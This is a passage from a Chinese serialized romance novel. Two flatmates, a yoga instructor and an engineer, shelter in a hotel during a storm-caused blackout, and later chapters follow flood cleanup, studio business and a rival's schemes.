高雯正陷入惶恐迷茫中，方寒挂掉电话就对她道：“看来今晚是没电了，明天都不知道有没有，洗漱都是问题，附近都停了，但酒店有发动机，应该有电。要不，我们去酒店住？明天再回来？” “好。”高雯没有任何犹豫，一口答应下来。 方寒想到一个问题：“我们在二十二楼，下去要好一会。” “我不想待在家里，太黑太暗。”高雯拼命摇头，因为着急，声音有些抖，她看向方寒，“我不想在这里过夜，我不行。” “那我们现在就去酒店。”方寒说，“我怕太晚了，附近酒店被住完了。” “我马上去收拾东西。” 她说着站起身，拿过自己手机照着灯往房间去。 一个手机灯的亮度，还是不太够，高雯刚走进去，方寒也开着手机灯走进来。 高雯狂跳的心一下又平稳了，她快速拿了换洗的衣服，装了所需要的东西，然后走出去。 方寒的行李就更简单，他背上一个书包，带上电脑就行了。 两人一开门，一阵掺杂着雨水的凉风吹来。 外面刮起呜呜大风。 他们一直待在室内，关门锁窗，哪知道外面风刮得厉害。 所幸，现在雨暂时停了。 停了电，电梯就停了，只能走楼梯下去。 楼梯间更黑暗，高雯站在楼梯间门口，看着黑漆漆的楼下，她往后退了一步，神色忐忑，有些抗拒。 “你走在前面，我在后面，小心看着脚下。”方寒的声音在楼梯间回荡。 高雯点了点头，深吸了一口气：“好。” “走慢点。”方寒再一次叮嘱。 “嗯。” 高雯在前面照着路，方寒在她身后也照着路，她走得慢一些，他就要紧挨着她了。 下了几层，方寒突然说道：“放首歌吧？壮壮胆。” 他说着，放了一首《强军战歌》 气势十足又让人热血沸腾的旋律响起：“听吧，新征程号角吹响，强军目标召唤在前方，国要强——” 每一次军训，都会唱上无数遍的歌。 简直是刻在DNA里的歌词。 红得发紫，正得发邪。 高雯内心那点仅存的不安，都一下子被冲刷干净。 方寒估计是觉得她在害怕什么脏东西吧。 这首歌，绝对能镇压。 高雯的确因为这首歌，情绪放轻松不少，下楼的时候，她甚至还轻哼了起来，步伐都带劲了。 随着节奏，她走得太快，方寒赶紧提醒道：“慢点，不着急。” “知道了。” 两人好不容易到了一楼，还没歇一歇，就看到陆陆续续有人要出去。 大家都想到了去酒店。 高雯一看，顾不上休息，揪着方寒的衣角，拉着他赶紧往外走。 这要是没酒店了，要爬上二十二楼，那才是要她的命。 外面的雨停了。 方寒一边走，分神看手机：“我先看看附近的酒店，在网上先下单预订。” “对，先预定。”高雯点头。 方寒看了一圈，附近的酒店还真被订了不少，他看到最近的一家，只剩一间，连忙先订下。 等他返回来再找，其余的酒店都是满房。 “怎么了？不会没酒店了吧？”高雯肉眼可见慌张起来。 “订了一间，网上显示没房源了，先去看看，可能线下还会有。”方寒收起手机，看了看天空，“先去酒店，正刮风，要是下雨会很麻烦。” 到时候根本就打不了伞。 高雯赶紧往前面走，出声催促方寒。 路上有三三两两的人群，因为业主群发公告了，说今晚没电，他们也是出来逃难的。 一群人走到小区门口，顿时傻眼。 小区门口被淹了。 水流很急，大概到膝盖，路中间还淹了好几辆车，正在打着双闪。 虽然停电，但到处是手机灯还有手电筒照明，人声嘈杂。 高雯和方寒站在水边，在他们前面有对情侣，男的蹲下来道：“宝贝，我背你过去，我怕脏了你的脚。” 女生一阵感动，声音发嗲：“老公，你真好~~~” 高雯：“” “我必须对你好啊，你是我的宝儿。”男生的甜言蜜语信手拈来。 高雯起了鸡皮疙瘩，就在她觉得挺好的，要祝福他们的时候，男的背着女的，刚进水流，没走几步，一个踉跄，整个人往前扑去，两个人一起摔在水中。 高雯不忍直视，她侧头看向方寒。 他也看向她，沉默震耳欲聋。 就，挺惨的。 高雯把裤子往上卷，还脱了鞋，准备走过去。 方寒先一步到了水中， 他犹豫了下，朝她伸手：“我牵着你吧，路不太好走。” 高雯想到刚刚那对情侣的遭遇，要是摔了，这么脏的水，她光想想都头皮发麻，恐怕连自己都不想要了。 她没犹豫太久，看着方寒宽大的手掌，将纤细的手伸出去，放在他手心。 方寒反手，将高雯的手紧握住：“小心点。” “嗯。” 高雯慢慢往水里走，水流很急，她一进去就感觉到了阻力，拼命往方寒身边走，想离他近一些，再近一些。 “走过去就行了，酒店就在不远处。”方寒说着，带她一点点往前走。 时不时会有人惊呼，一惊一乍的，高雯听得心里发怵，她的另一只手也抓上方寒的手臂，整个人都要紧贴着他了。 “没事，马上就到了。” “嗯。” “还没到吗？” “快了。” “水里不会有什么咬人的吧？我有点害怕。” “不会。” 方寒原先是握着高雯，走到半道，两人不知不觉就变成了十指相扣。 高雯没有半点察觉，反而吓出一身冷汗，因为她眼睁睁看着前面的一个小姑娘脚下一滑，手机都飞了，摔出巨响。 方寒把她的手牵得更紧，他温热的手心裹着她微凉的手，暖意在一点点过渡给她。 这一条路不算长，要不是有点难走，方寒都想时间过得慢一点。 他刚刚能感觉到高雯的全身心依赖。 上了岸，方寒在高雯没察觉的时候，第一时间松了手。 他把手插在兜里，手指微微蜷缩，想多保留一点她的温度。 两人来到酒店，灯火通明，高雯狠狠松了一口气，快速整理自己。 大美女都是爱形象的。 不过，酒店大堂里是各种“逃难”过来的人，刚刚没停雨的时候，好多人都被淋湿了。 方寒走到前台，咨询房源。 前台歉意道：“不好意思，如果没有在网上预订，线下没房了。” 方寒把手机打开：“我们订了一间，先开一间吧。” 前台：“好的，请出示您的身份证。” 方寒拿了高雯的。 开了房后，两人往电梯走，方寒说道：“我先陪你上去看房间，你要是觉得行，你就住这，我再看看别的酒店。” 高雯点头。 这个房间是豪华大床房，价格偏贵，所以留到最后都没人订，自然是挺好的。 高雯挑不出毛病。 “那你先休息。”方寒说着就走出去。 “方寒。”高雯叫了他的名字。 方寒也是一怔，转身回头，他还不太适应她叫他名字。 高雯指了指窗外：“外面下大雨了。” “没关系，我有雨伞。”方寒笑着说。 高雯：“我刚刚看了，附近已经没有酒店房源。” “我回去也行。” “你留下来吧。”高雯脱口而出—— 作者有话说：下午六点二更见！ 第44章 第44章 你和谁在酒店啊？ 酒店内。 方寒坐在沙发上, 他背着自己的书包，直愣愣坐着，手放在腿上无措搓了搓, 他的眼睛都不敢乱瞟。 坐在床边的高雯也好不到哪里去。 外面下了很大的雨, 路上那么难走，一刮风吹得骨子里发冷, 而且小区都没电了，要爬二十二楼，方寒要是回去, 得多辛苦？ 她做不到在房间里惬意舒服待着，把他赶出去。 屋内安静, 因为隔音好，只是隐约听到一点外面的雨声。 高雯低着头看了会手机, 她抬头, 出言道：“那个——” “啊？”方寒回神。 高雯站起身, 拿着手机往沙发走，将手机递给方寒：“我点了杯姜茶, 你要不要喝点什么？” “我都可以。”方寒说。 “薄荷生姜行吗？这个是热的。”高雯问。 “行。”方寒点头, 把手机还给她。 “好。”高雯点了茶，看着窗外狂风呼啸, 这么恶劣的天气, 还有骑手在接单，她点了打赏，随后把手机放在一边, 站起来，拿过自己的包包和袋子，轻声道, “学长，我要洗个澡，如果外卖来的话，麻烦你拿一下。” “嗯嗯。”方寒说着站起来，意识到自己反应过激，假装忙碌，把自己的电脑拿出来，走到茶几上打开。 高雯拿着睡衣，去了浴室。 没一会，里面淅淅沥沥的水声传出来，方寒盯着电脑屏幕，眼神却在发呆，完全看不进去内容。 方寒深呼几口气，走到窗边，往外看。 雨太大，什么都看不到，窗户关着，空调也开着，但他还是觉得有些闷热。 脑子里乱糟糟，不知道该如何和高雯相处。 他们合租的时间不短了，但那个性质不一样。 在合租房，他们的活动区域是客厅，相当于公共区域，没什么隐私性。 方寒在外面胡思乱想，里面的高雯更加羞窘，她洗完澡，发现毛巾忘记拿进来了。 她去酒店从不用酒店的毛巾，觉得脏，所以特意带了自己的毛巾。 高雯犹豫再三，走到门后，挣扎许久，将门打开一条缝，朝外轻声道：“学长，你在吗？” “嗯。”方寒快步走过来，在靠近卫生间门口时，放慢脚步，“怎么了？” “那个——”高雯闭眼快速说道，“我毛巾忘拿进来，你能不能在我袋子里找一下，帮我拿过来。” “好，稍等。”方寒往床边走，找到高雯拿出来的袋子，打开后，手忙脚乱开始翻找。 浴室里的高雯有些发冷，等得同样着急：“有吗？” “我在找。”方寒看到袋子里没有，看向她拿出来的背包，出声征询道，“袋子里没有，背包里有吗？” “你看看。”高雯冷得缩了缩脖子。 “嗯嗯。”方寒打开背包，毛巾还没看到，率先看到了浅粉色的成套内衣，方寒当场如同被定住，耳朵通红，不知如何是好。 “有吗？”高雯疑惑，“我是不是忘记拿出来了？” “找到了。”方寒从底下把毛巾抽出来，拿过去洗手间。 短短几步的路程，他浑身冒汗，呼吸都略微急促。 高雯更是在听到他的脚步声后，极力缩到门口，纤细白皙的那只手泛着水滴，伸出手招招手。 方寒把毛巾塞到她手里。 “谢谢。” “啪。” 话音未落，门关得迅速。 方寒看着紧闭的门，站在原地许久，身子绷得紧。 听闻里面传来动静，他才转了身，同手同脚走回来，站在窗边清净清净。 高雯打开门出来时，她的头发被毛巾包裹着，身上穿了长款的睡衣。 “阿嚏——” 她刚走出来，就打了喷嚏。 方寒回头，眉头不自觉拧起：“天凉了，你要注意保暖，尽快把头发擦干。” “嗯。”高雯点头。 “叩叩叩——”房门被敲，门外道，“您好，您的外卖到了。” “来了。”高雯率先接话，方寒走过去，打开门接过袋子，“谢谢。” “不客气，谢谢你的打赏，祝您用餐愉快。”外卖小哥说完，笑着离开。 方寒回头看高雯，她正解开缠着头发的毛巾，拿着吹风机到床头，准备坐着吹头发。 她一直都这样，这是她能做出来的事情。 换了他，也会这么做。 因为这个雨太大了，现在还在外面奔波赚钱的人，很辛苦，都是为了生活。 方寒把姜茶拿出来，插上吸管，走过去给高雯。 “谢谢学长。”高雯关上吹风机，看向他歉意道，“你得等一下才能洗澡，热水好像都不怎么热了。” “没关系，我还有点工作没处理，一会再洗。”方寒说着看看床，轻声安排道，“你睡床，我睡沙发。” 高雯喝着姜茶，点了点头。 她吹好头发，上了床。 高雯一看手机，已经接近十点。 平时这个点，她该困了。 方寒去洗澡的时候，高雯看了看沙发，酒店套房虽大，沙发不太宽，方寒身高腿长，肯定得蜷缩着睡。 她一个人睡一米八的柔软大床，着实是有点愧疚。 高雯下了床，拿过一个枕头，又打开了柜子。 方寒洗好澡出来时，第一眼先去看床上的高雯，她躺在床上，睁着眼，还没睡。 下一秒，他看到沙发上摆放好的被子和枕头，略微愣神。 “今天晚上就委屈你了，谢谢学长。”高雯一脸不好意思，随后指了指灯，“我都是开着灯睡觉，不然会慌，你介意吗？” “不介意，”方寒说着还道。“需要把灯全开了吗？” 高雯：“不用，这样就好了。” “好。早点睡。 ” “晚安。” “晚安。” 高雯躺在被窝里，方寒合上电脑，回到沙发上，屈着腿躺下来，盖上被子。 方寒面对的方向，就是高雯的床，她背对着他睡，而他一直在看她的背影，眉眼柔和，嘴角露出一抹浅淡的笑意。 只要和她待在一起，他总是欢喜的，心情有些难以平静，根本没困意。 方寒是如此，高雯更是如此。 她听闻身后没了动静，再也没忍住，悄悄翻转身子。 方寒在高雯翻转身子时，合上眼，好似进入梦乡，实际上，被子底下的手，微微握紧，后背都渗出一层细汗，紧张不已。 他没睁眼，却能感觉到一股炽热的视线落在他身上。 可能，这是他的错觉。 事实上，高雯的确在看他，她“熟睡”的面容，有些发呆。 别看她自以为清醒，以往对择偶都有明确标准，归根究底，高雯也只是一个从未谈过恋爱的人，她的感情史甚至纯洁到，连暗恋史都没有。 小时候一直在努力读书，各种卷，上了高中，家里发生变故，自那以后，她的目标就是养活自己，往更好的学校考去，要去更好的平台，要发展自己。 按照明确势利的择偶观，是要给相亲对象打分，所有的硬件条件都是能看到的。 可，她不知道感情如何相处。 她只知道，靠近方寒，会让她很有安全感，她甚至有时候想要从他身上获得温暖，因为他总能平复她糟糕的心情，带来不一样的感受。 高雯看着窗外不断砸落的雨滴，偶尔还传来雷声，屋内温馨。 方寒睡得很安静，身上带着温润清雅的气息。 她在想，或许她并不了解自己，根本不清楚自己想要什么。 方寒，未必就不适合她。 “嗡嗡嗡——”高雯手机响起，打断她的思路。 她慌忙接起来，那头传来张妮的声音：“雯雯，停电了，我们小区外面的路都被淹了，听说还要停电到明天，我们现在出来找酒店住了，你们那边怎么样？” “我们出来住酒店了。”高雯说。 “你们？你和谁在酒店啊？”张妮抓住字眼。 高雯当下就红了脸，眼神不断闪躲，“我，我和合租的一个姐姐。” 她这么说的时候，沙发上的方寒动了一下，高雯心都提起来了，生怕他说话。 不过，方寒不是那种人。 他拉起被子，遮住不断上翘的嘴角。 “你们在哪个酒店？要不要找个地方吃夜宵？我都还没吃饭呢。”张妮又说。 高雯哪敢让张妮来。 要是发现她和方寒住一个酒店，十张嘴都说不清。 合租和同居，就是一字之差啊。 “我们都要睡了。”高雯含糊说。 “好的，那算了。”张妮挂掉电话。 高雯还没松口气，方寒的电话响起。 他睁开惺忪的眼，拿过电话，见是顾书杰，接起来放在耳边。 “城郊那个项目的文件你还没发给我。”顾书杰在那头说。 “现在发。”方寒说。 “你们小区估计也断电了吧？在哪呢？”顾书杰问。 “酒店。”方寒如实回答。 顾书杰：“哟，你也跑去酒店了，动作够快啊。” 高雯一听，紧张得竖起耳朵，生怕他说出什么令人误会的话，虽然，她知道方寒人品极好，根本不会。 方寒将手机音量按小，张妮的声音清晰传入他的耳里：“方工，雯雯的小区也断电了，她现在在酒店，该你表现的时候到了！可别说我不帮你啊。” 方寒听得连忙挂掉电话。 他抬眼，对上高雯好奇的脸色。 高雯穿着睡衣，坐在床头，柔和清秀。她听不清，又见他情绪过于激动无措，还微微歪了歪头，那张精巧白嫩的脸上带着疑惑。 第45章 第45章 今晚下的暴雨，比前两天还大…… 今晚下的暴雨, 比前两天还大。 高雯却睡得很心安，连时常做的噩梦都没有。 反倒是方寒，他侧睡在沙发上, 目光一直看向床的方向, 眼底清明。 大半夜时，高雯翻了个身, 直接踢掉被子。 方寒的眉头微微一挑。 她再踢，还滚到一边，因为有点冷, 蜷缩着身子继续睡。 睡觉前安安分分，是个优雅大美女, 睡觉后，和她的性子截然相反。 方寒嘴角荡开笑意, 起身往床边走, 拉过被子, 轻轻给高雯盖上。 “不要。”高雯拧着眉，突然出口, 伸手推开。 方寒还以为她醒来, 僵住动作。 高雯没动静，闭着眼, 呼吸均匀。 方寒维持动作, 又回头看了不断下的雨，再一次把被子给高雯盖上。 盖上后，他等了一会, 确定她熟睡，这才往沙发走去。 这一个晚上，方寒一夜无眠。 他本身就是个性子慢热温和、内核平稳的人, 在遇到高雯之前，从未出现过失眠的情况。 * 这一场大雨，下了足足一个星期。 好多地方断水断电，语禾瑜伽馆就在一楼，险些都被淹，徐眉急得这几天都睡不着。 要是被淹，装修都得泡汤，还影响生意。 千求万求，这场大雨可算停了。 重新开业之前，得做好清洁工作，外面的街道上都是淤泥，地势低的店铺好些都被淹了，血本无归，到处都是志愿者在帮忙。 徐眉以语禾瑜伽馆的名义，捐赠了不少物资，带着高雯和张妮几人去做志愿者，给临街的街道打扫帮忙。 高雯看着脏兮兮的街道，无从下脚，空气中的气味都难闻，她戴着口罩和手套，艰难地帮忙，因为不熟练，多少有些狼狈。 没一会，就已经满头大汗。 高雯看着正在卖力打扫的环卫工人，心里不得不佩服。 她可以忍受每天连轴上课，忙得晕头转向，自我训练时拉扯筋骨疼得汗流浃背，但实在吃不得这个苦。 方寒从公司下来，去给客户送资料时，看到了正在马路边的高雯。 她的不远处，是一堆树叶堆，清洁车正在缓缓开来，在她的四周，站着好几个环卫工人，饶是在那样的场景下，她都是那么惹人夺目，虽然和周围格格不入，多少有些更“接地气”。 张妮也几人穿上义工衣服，加入大队伍。 方寒停下脚步看了高雯好几眼，她正在擦汗，下意识用手扇风，柳眉一直紧蹙，红唇抿着。 她不擅长干这种活，他知道，但她还是去了。 方寒走回楼下，给高雯打了个电话。 “喂？”接通后，高雯的语气有些喘，还呼了呼气。 “项目上有些细节需要确认，你现在有时间吗？”方寒问。 这个理由足够恰当，事实上也的确有工作。 方寒以前从不认为自己是一个徇私的人，但总有人会成为例外。 “现在不行，我在外面清理街道。”高雯又说，“晚上可能也不行，晚上馆里要做卫生和清洁，明天上课。” 住酒店的时候，高雯还以为第二天会很尴尬。 她醒来时，方寒已经出去了。 等方寒回来，他带了早餐，顺便在同一层开了房。 那两天，高雯休息得很好，把这段时间缺的觉都补了，睡得昏天暗地。 高雯的拒绝，方寒也料到了，他就是想问问而已，他说道：“今天都出太阳了。” 大热天的，还在外面。 “对啊，很热，”高雯没忍住叹气，多说了两句，唉声连连，“路上太脏了，商场周边也是，我们馆的门口也是。我宁愿去上课，上十节课，我感觉我也是为会员的健康做贡献，兢兢业业为国家交税了。” “可是我不能。” 方寒心疼又觉得有些好笑，他都能想到她皱着眉头，垂眸无奈的样子。 “每个人的擅长领域不一样，不能过于要求自己。”方寒轻声说。 “对啊，”高雯赞同，“所以我不想打扫了，我要去给大家买水切水果订餐了。” 方寒想到切水果，锋利的刀，她不太熟练的技术，心下一紧，语气担忧道：“切水果还是算了，自己切耗费时间，直接让水果摊送过来吧，他们熟练，大批量买的话，他们会处理好的。” “对噢，我都没想到，”高雯了然，“就先这样吧，不打扰你上班了，我去联系。” “好。” 挂掉电话后，方寒还是有些不放心。 他打听到几家水果摊的电话，给高雯又发了过去。 高雯没立马回，方寒一颗心悬着。 等了五分钟，他就忍不住了，刚要打电话过去，她就发来消息。 高雯：【好的，现在联系。】 高雯：【刚刚订餐去了。】 高雯：【谢谢学长。】 看到她发的消息，方寒绷着的神经，瞬间松了。 当了义工又打扫卫生，高雯感觉全然不是自己擅长的事情，太累太累了。 好在刚经历大暴雨，前两天来馆里上课的会员不多。 不过，胡虹是天天来报到。 她熬了粥，还记得给高雯带的甜甜柚子。 柚子都是剥好，用盒子装着。 当然，胡虹也不会厚此薄彼，给馆里其他人也带了一盒，还带了手工糕点和新鲜的柿子。 胡虹重点不在于上课，而是在聊天：“我这几天都当义工去了，去了城郊那边，好多地方都被淹了，可怜哦，很多人的家都淹掉了，我们一群人去的，带了很多物资。” “阿姨，辛苦啊。”张妮正在掰柚子。 “不辛苦不辛苦，其他人很可怜的。”胡虹看到高雯出来了，把剥好的柚子给她，笑眯眯道，“我还记得给你带柚子！那个人还在卖，这些柚子更甜更好吃！” “谢谢阿姨，您有心了。”高雯感动，接过来道谢。 胡虹笑意更深，还有点激动道：“我还要谢谢你呢。我跟你说，你给我上的课，真的很有用。这一次我去帮忙，干了那么多那么多活，按照以前，我的腰早就疼了，这一次居然没事，酸都不酸！” “雯雯，你太厉害了，我真的气都不喘！哪像我家那个老头，他体力都没我好！还比我大好几岁！” 高雯笑，带胡虹往私教教室走：“您先进来，好几天没练了，我估计您今天会累点。” “我现在耐疼了，我可厉害了！”胡虹自信心爆棚。 林思悦看着活力满满的阿姨，扭头看张妮，蠢蠢欲动：“姐，你要上雯雯姐的私教吗？” 高雯的私教刚上线，她们就买了，还有内部员工价。 不过，她们压根没敢上。 高雯的私教课虽然价格高，但卖得非常不错，一如既往难约。 而且，来上课的都是阿姨，真是让人自愧不如。 “不要，我不敢。”张妮摇头。 她现在体重减了不少，体态气质增加，顾书杰说她比大学时还要好看！ 这已经很满意了，要慢慢来，不能太为难自己。 “那个阿姨又开始上私教了，她和我们上课的时候还划水。”林思悦又看了眼私教教室。 高雯把胡虹和张妮，还有林思悦评为“偷奸耍滑三人组”，对于这个称呼，她们无法反驳，只要三个人一起上小课，其他两个会员都会被带动偷懒。 这三人简直是见缝插针和高雯讨价还价，她就算再严格，同时面对这三个，每节课都要费点心神，和她们斗智斗勇。 “她啊——吃柚子。”张妮掰了一瓣柚子给林思悦，没把话说完。 林思悦吃柚子的时候，张妮拿出手机，给方寒发了几张照片： 【方工，你看这个阿姨，柚子都给雯雯剥好了送过来。】 【如此贴心，还贿赂我们这么多好吃的，敌人很是狡猾。】 【你要加油啊——】 方寒在专心致志工作，看到消息，拿过手机看了一眼。 这一看，有些失神。 他抬起手，揉了揉眉骨。 这个阿姨真是—— 年轻人有年轻人的想法。 方寒想了想，给胡虹发了消息。 他最近都在加班，就没回家，方宏铭和胡虹去当了几天义工，也不知道怎么样了。 胡虹没回，等过了一个小时，她打来了电话。 “妈。” 胡虹：“臭小子，找你妈干嘛？” “您，在做什么？”方寒问。 “忙着呢，忙我自己的事情，天大事情！”胡虹说，“很重要的！” “” “不和你说了，我和你秀芬阿姨约好了，要去中医馆体验艾灸。”胡虹急急忙忙说，拎着她的购物袋往前跑，“公交车来了，挂了。” 方寒刚要提醒不要上当受骗，她就道：“知道的知道的，我最近练瑜伽身体都好多了，秀芬阿姨是吝啬鬼，而且她儿子结婚都把她掏光了，哪有钱被骗。她就想多领几个鸡蛋，回去做蒸蛋吃！” 方寒和胡虹挂掉电话，又给高雯发去消息，约她下班一起回去。 高雯回应了。 方寒的心情顿时变愉悦，他满脑子都想着，如何能和她多相处一点—— 作者有话说：二更见！ 第46章 第46章 语禾瑜伽馆。高雯回完方寒的…… 语禾瑜伽馆。 高雯回完方寒的消息, 就把手机放在前台充电。 她看向林思悦道：“有空吗？帮我录课？” 她的会员太多了，排不开课，网上的粉丝也多, 大家都呼吁她卖线上课。 网上的事情都是林思悦和张妮负责, 高雯只需要负责录制。 “现在？”林思悦道，“可以啊。” 张妮又吃了一瓣柚子, 调侃道，“雯雯，你是真不让自己闲着啊, 这几天好不容易少点课，你都得给自己加难度。” 林思悦都佩服：“感觉像连轴转的牛马, 我看着都不好意思了。” 视频号和馆里的分红，她和张妮都占了点, 两人看到高雯这么高强度工作, 她们要是不用心一点, 可不是不太好意思。 “还好，我习惯了。”高雯说。 徐眉走过来：“你们听到她说的了啊, 可不是我压榨她。” 众人纷纷笑开。 徐眉的确是个好老板, 为人也随和大方，也正是因为这样, 这个馆子生意蒸蒸日上, 收益和名气都超乎她的想象。 “对了，梵盈那边的事情，今天律师和我沟通了。”徐眉看向高雯, “我不打算放过她，这一次闹得这么大，不是她们倒闭, 就是我们倒闭，我让律师追究到底。钱要赔，代价也是要有。” “她找的那家公司，现在又查出偷税漏税和其他问题，影响升级了，绝对不是单单造谣这么轻，律师说我们态度强硬点，不出谅解书，他们能进去蹲几个月。” 说起这个事，徐眉情绪有些起伏。 这个馆是她一辈子的心血，不容易。 要不是事情有转折，她就得赔得倾家荡产，欠下一身巨债，高雯就得像只老鼠一样东躲西藏，在这一行彻底消失。 这是无妄之灾。 他们就是赔点钱，判了几个月而已，别人很可能是要搭上一辈子。 高雯也不是什么圣人，这件事牵扯到的也不是她自己，面对徐眉询问的眼神，她轻声道：“眉姐，你说怎么做，我们就怎么做，我都听你的。” “对，我们都听你的，而且这件事的确不是我们的错，我们一点错都没有！”林思悦愤愤不平道，“她们太坏了，心思太歹毒，怎么能这么对别人？手段如此下三滥。” 张妮：“梵盈好像贴出告示要转让，经营不下去了。” “倒闭更好，这样的馆，谁敢去？”林思悦说起这个事，忍不住在吐槽。 高雯看林思悦越说越气，笑道：“时间不等人，你不是要帮我拍摄吗？抓紧时间录完上线，你也能快点赚到钱。” “来了来了。”林思悦拿着工具，屁颠屁颠跟在高雯身后，她还大大咧咧道，“我最近太忙了，都没时间花钱，居然还存钱了。雯雯姐，你这么忙，你有时间花钱吗？” 林思悦问的这个问题，让高雯脚步顿住，还真微微思考了下。 她自己独立后，很努力赚钱，但维持精致的生活，需要花很多钱，如今太忙，赚钱速度过快，每天除了护肤会花钱，日常都是瑜伽服和休闲服。 高雯很久没注意过卡里的存款了。 好像，有不少的了吧？她的生活，已经不需要精打细算，这座城市对她来说，除了好的房子尚且高不可攀，其他都游刃有余。 而且，随着她越来越努力，似乎一切前途都看得到。 该有的，都会有。 “存着以后花。”高雯笑着说。 林思悦想了想也是，顿时又充满动力。 录制结束后，高雯收拾辅具，林思悦拿着相机往外走，她的手机收到林珩发来的消息：【下班了吗？我去接你。】 林思悦回了语音：“马上下了，那就老地方。” 林妮听到这话，竖起八卦的小耳朵：“谁啊？你男朋友？” “什么呀？我哥，下班顺路接我回去。”林思悦回。 张妮一听，八卦的心又收起来了。 不是男朋友啊，那没什么好打听的，随后来一句：“不着急谈恋爱，以后想谈恋爱了，跟姐说，姐认识好多优质男孩子！” “我还小！”林思悦压根没打算，“雯雯姐都没谈恋爱，一心一意搞事业，我才不谈！” 说起这个，张妮为方寒发愁。 她也没办法。 * 某公司。 姜舒妍见林珩拿着车钥匙往外走，她连忙起身：“阿珩，你下班了吗？” 她从入职第一天，对林珩的称呼就如此亲密，每次一出口，同事都会看过来，默默观察两人。 没两天，大家就都知道他们的关系了。 姜舒妍很聪明，林珩如今是总监，一方面，她宣示自己的身份，另一方面，也是让他们不敢为难她。 这一招很见效，哪怕她业务能力不行，大家都不敢得罪她。 “嗯。”林珩点头。 “我们一起走吧？”姜舒妍说。 林珩问：“你工作做完了？” 姜舒妍的业务能力他看得到，马马虎虎，好像也不太适合这一行。 但时间尚短，他还是先给她多一点时间。 就像当初对高雯一样，她教给他的道理，就是不能傲慢直接否定别人。 “我回去再加班。”姜舒妍说着收拾东西就跟着他，还问道，“我们要去接思悦吗？” 林珩眉头微微蹙了蹙：“不用。” “好的。”姜舒妍笑得温柔，和他一起走进电梯。 电梯里。 姜舒妍一直找话题和林珩聊，他偶尔附和两句。 上车后，林珩突然问姜舒妍：“我看你最近精神好像不是很好，工作难以应对吗？” “没有啊，”姜舒妍含糊找了个借口，“我最近和朋友在琢磨开个店，可能浪费的精力有点多吧，等开了店就好了。” 开店缺钱应该没什么问题。 姜舒妍在为自己的经济窘迫找借口。 林珩点了点头，话锋一转：“你那个在医院的朋友怎么样了？” 姜舒妍的不对劲，好像就是从接了那一通电话之后，她匆匆忙忙就走了，说是朋友在医院住院。 “什么朋友？”姜舒妍没答上来。 林珩眼底若有所思，把车往前开：“没什么，听点歌。” 据他所知，姜舒妍还在圈内借钱。 姜舒妍本来是想去林家，结果林珩直接把她送回家。 她没法，只能下车。 姜舒妍想到林思悦那边，她又编了理由，发过去安抚她。 林思悦很快回消息了：【没关系，我不着急，我相信你的舒妍姐。对了，我哥说要来接我，他下班了吗？】 姜舒妍看到这句话，脸色骤变。 林珩要去接林思悦，却和她说没有，还提前把她送回来！ 高雯，肯定是高雯！ 姜舒妍气得上气不接下气，回去后把客厅里的东西都砸了。 哪里出现了问题？她再怎么努力，为什么还是感觉一切越来越脱离掌控？！ * 林珩的确想去见高雯。 他明显能感觉到自己对她的兴趣，而他不是一个坐以待毙的人，就是要多靠近，清楚自己的心思，之后再做打算。 高雯和方寒并没有在一起，那就不妨碍他接触高雯。 只是，林珩送姜舒妍回家再折回来已经迟了。 他来到商场附近，等红绿灯的时候，正好看到高雯和方寒一起有说有笑过马路。 林珩目光一直看着两人，不放过高雯脸上的任何一个情绪。 直到身后的喇叭声在催促，林珩才不情不愿开车驶离。 高雯和方寒沿着街道回去，途经卖水果的流动摊。 放在 以前，高雯都是去连锁水果店，直接买进口的，还能帮忙切好。 如今她发现，这种流动摊位也不错。 “脆甜多汁的苹果，五块钱一斤，五块钱一斤。”卖苹果的老汉不断地吆喝。 高雯停住脚步，站在摊前。 五块钱一斤的苹果，在她如今的收入面前，就跟不要钱一样。 “吃一块，很甜很好吃，刚采摘的。”老汉已经快速切下小半块，插上竹签递到高雯的手边。 这下，不买也得买。 高雯尝了一口，的确很脆甜，于是买了好几个，才十块钱。 她看了看旁边的提子，新鲜得很，又买了一串。 走到小区门口，两人手上已经提了五六个袋子，全是高雯买的水果，这些才花了不到五十块，她每次看到，都觉得不可思议，而且很好吃。 进口超市的橘子，一斤可就要五六十。 她没吃出区别，说明，她也并非要过那样的生活，现在也特别好。 高雯吃着清脆的苹果和爽口多汁的新鲜提子，不断在感慨。 方寒轻笑：“你喜欢吃什么，就吃什么，你这么努力，要适当犒劳自己。” 高雯觉得他这话说得对：“有一些钱，的确是应该浪费掉的，对吧对吧？” “嗯。”方寒点头，斟酌许久，出言问，“国庆你有什么安排吗？要不要去爬山？” 听张妮说，她们馆国庆会放几天假。 “不行，”高雯歉意道，“国庆我要去T市培训，要去五天。” T市处于沿海城市，很多培训都在那边。 虽然说很多理论她都懂，市面上还是时不时出现一些全新的东西，她们也需要了解市场，有质量的培训，高雯还是会去。 高雯要去接受新的理念，回来带其他新老师。 “这样啊。”方寒眼底有些失落，了然点头，而后问，“时间这么短，会不会很累？” 她要去五天。 很久。 方寒更关心她累不累。 高雯吃着提子：“客观来说，很累，但我能接受。” 方寒一时没接话。 那么奔波又那么累，辛苦她了。 高雯：“等我回来的时候，我们再去爬山，国庆七天我都放假。”她说完笑着道，“放两天假很不容易的，第一天去爬山，第二天去吃好吃的，我都计划好了。” “好，我来安排。” 第47章 第47章 方寒原本对国庆异常期待，随…… 方寒原本对国庆异常期待, 随着得知高雯国庆要去培训，这份期待变成了煎熬。 他总希望时间快一点，希望时间过得慢一点。 一晃就到了国庆。 方寒看着高雯收拾行李, 她要带的东西不多, 就只有一个行李箱。 高雯说：“这五天都是集训和训练，也没什么好带的。” 以往她去旅游, 两个大箱子都装不完，各种漂亮衣服和鞋子包包，现在就是一套又一套的运动装和瑜伽服。 高雯定的是早班机, 她昨天忙得太晚，今天早上才起来匆匆收拾, 拖着行李就往外走。 方寒在客厅，接过她的行李：“我来吧。” 他说完, 递给她一个纸袋子。 高雯接过来：“这是什么。” 方寒：“早餐。” 他猜到她没时间吃了。 两人走出门口, 高雯的手机就响起来, 她轻声道：“稍等一下，我现在下楼。” 她说着, 挂掉了电话, 和方寒一起进电梯。 电梯门合上，高雯拎着纸袋子, 看了方寒一眼：“我约了司机, 直接去机场。” “嗯，到了给我发消息。”方寒笑了笑说。 “好。”高雯侧头看他，“你呢？国庆要做什么？” “可能会提前忙项目, 回家一趟。”方寒的计划里，原先并没有工作这一部分。 高雯点了点头。 网约车师傅服务态度好，远远看到高雯, 就打开后备箱，替高雯接过行李。 方寒倒想送她去机场，现在这样肯定不行，高雯上了车，打开车窗，冲他摆了摆手：“拜拜，我先走了。” 